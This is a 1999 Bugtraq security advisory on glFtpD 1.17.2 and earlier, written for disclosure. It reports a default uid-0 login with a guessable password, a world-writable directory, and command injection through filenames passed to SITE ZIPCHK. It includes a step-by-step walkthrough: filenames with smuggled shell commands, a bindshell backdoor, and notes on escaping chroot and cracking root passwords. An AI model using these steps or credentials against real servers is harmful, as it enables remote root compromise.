From suid@SUID.KG Fri Dec 24 01:56:41 1999
From: suid
X-Sender: suid@jawa.chilli.net.au
Resent-From: mea culpa
To: BUGTRAQ@SECURITYFOCUS.COM
Resent-To: jericho@attrition.org
Date: Thu, 23 Dec 1999 11:31:53 +1100
Subject: Multiple vulnerabilites in glFtpD (current versions)
See this advisory on www.suid.kg/advisories/003.txt.
suid@suid.kg - multiple vulnerabilities with glftpd 1.17.2 and below.
Summary:
glFtpD has several problems which can lead to a remote attacker attaining
root on your machine.
Background:
glFtpD is a FTP daemon available from www.glftpd.org. It claims to be a beta
release however it is in wide use accross the internet.
glFtpD is a somewhat attractive choice for many non-technically minded people
it is simple to install and can run fine on the default configuration. It also
comes in flavours for Linux, FreeBSD and Solaris.
glFtpD is also quite packed with "features" such as the ability to script
addons in tcl etc. With such a large amount of features it appears that the
attention paid to security has suffered somewhat during development.
Vulnerabilities:
1) Default Login:
By default glFtpD installs a user account on your new FTP server
called "glftpd" the password of this user is predictably "glftpd".
This default user also has a UID of 0. This does translate into them
actually FTP'ing to your machine as uid == 0. Bad kitty.
2) World writable site directory:
By default, your new ftp servers ~/site directory is world writable.
3) SITE ZIPCHK command:
The SITE command ZIPCHK can be used to check the validity of a ZIP file on a server.
Presumably this is so you can make sure the ZIP file you are about to download is valid
and free from error. The way this works is thus:
glFtpD user does:
ftp> quote SITE ZIPCHK XXXXX.ZIP
glFtpD then runs a shell script with XXXXX.ZIP as argv[1] or 2.
which calls /bin/unzip etc etc.
If a user is able to create a filename with ";" characters in the name, they can
execute arbitrary code on the remote server with the privelege level of the server.
Authors Response:
Originally I had some slightly misconceived exploit information. I had used SITE CHMOD
in my exploit instead of the unzip trick. No doubt glftpd users are aware that
site chmod is a `siteop' only command. So i used the unzip trick detailed below. I thank
him for this.
Unfortunatly the authors response to the first vulnerability was:
1) The default login "gltftpd" is only available from localhost. Therefore not a problem?
I present to you sir, several problems with this.
- Local users. FTP localhost and have uid 0. Not a problem?
- TCP spoofing attacks. http://www.securityfocus.com/templates/advisory.html?id=1176
- Regular FTP users use method 3 to get a shell and use that to ftp from localhost. Uid 0.
Exploit Information:
1) & 2) are traditionally bad. Problems are obvious.
3) This is quite simple a user need only have some place to upload files:
- You will need to build some kind of backdoor to allow you access, using bindshell.c (again)
$ gcc bindshell.c -o b -static
- Create an empty file called " ; bash blah;"
- Create an empty file called " ; unzip blah;"
$ > " ; bash blah;"
- Create a script called "blah" :
$ cat > blah
#!/bin/bash
./b &
^D
- "ZIP" these files up.
$ zip blah.zip blah b
- Login to your FTP server. Now upload your files:
ftp> put blah.zip
ftp> put " ; bash blah;"
ftp> put " ; unzip blah.zip;"
- Because glFtpD attempts to convert spaces in filenames to underscores, youll need to rename
them back.
ftp> quote rnfr "_;_bash_blah;"
ftp> quote rnto " ; bash blah;"
ftp> quote rnfr "_;_unzip_blah.zip;"
ftp> quote rnto " ; unzip blah.zip;"
- Now run a ZIPCHK on the unzip one:
ftp> quote SITE ZIPCHK " ; unzip blah.zip;"
- Hurray, now do a few ls commands till you get a file listing. Now run:
ftp> quote SITE ZIPCHK " ; bash blah;"
- glFtpD will spit out an error message. Ignore it. Now telnet to the port defined within
bindshell.c.
- Once your on. If you attacked the glftpd account (or any uid = 0 account), you may now use simple chroot()
breaking techniques (http://www.suid.kg/source/breakchroot.c) to have run of the entire box.
- If you did not have a uid == 0 account. Youll probably be in a chroot environment and you
dont really have a way out except to:
- check /etc/passwd (really $GLFTPDHOME/etc/passwd)
- Crack a uid == 0 passwd, maybe the glftpd account is still in there
- Use your imagination.
Working Papers:
See the spectacle at http://www.suid.kg/advisories/003_wp.txt
Links:
www.glftpd.org - Glftpd Home page
www.suid.kg/source/bindshell.c - bindshell.c
www.suid.kg/advisories/003_wp.txt - Example attack
Greets:
^moo^, yowie, cr, duke, silvio, n1ck,
w00w00, and last but not least ADM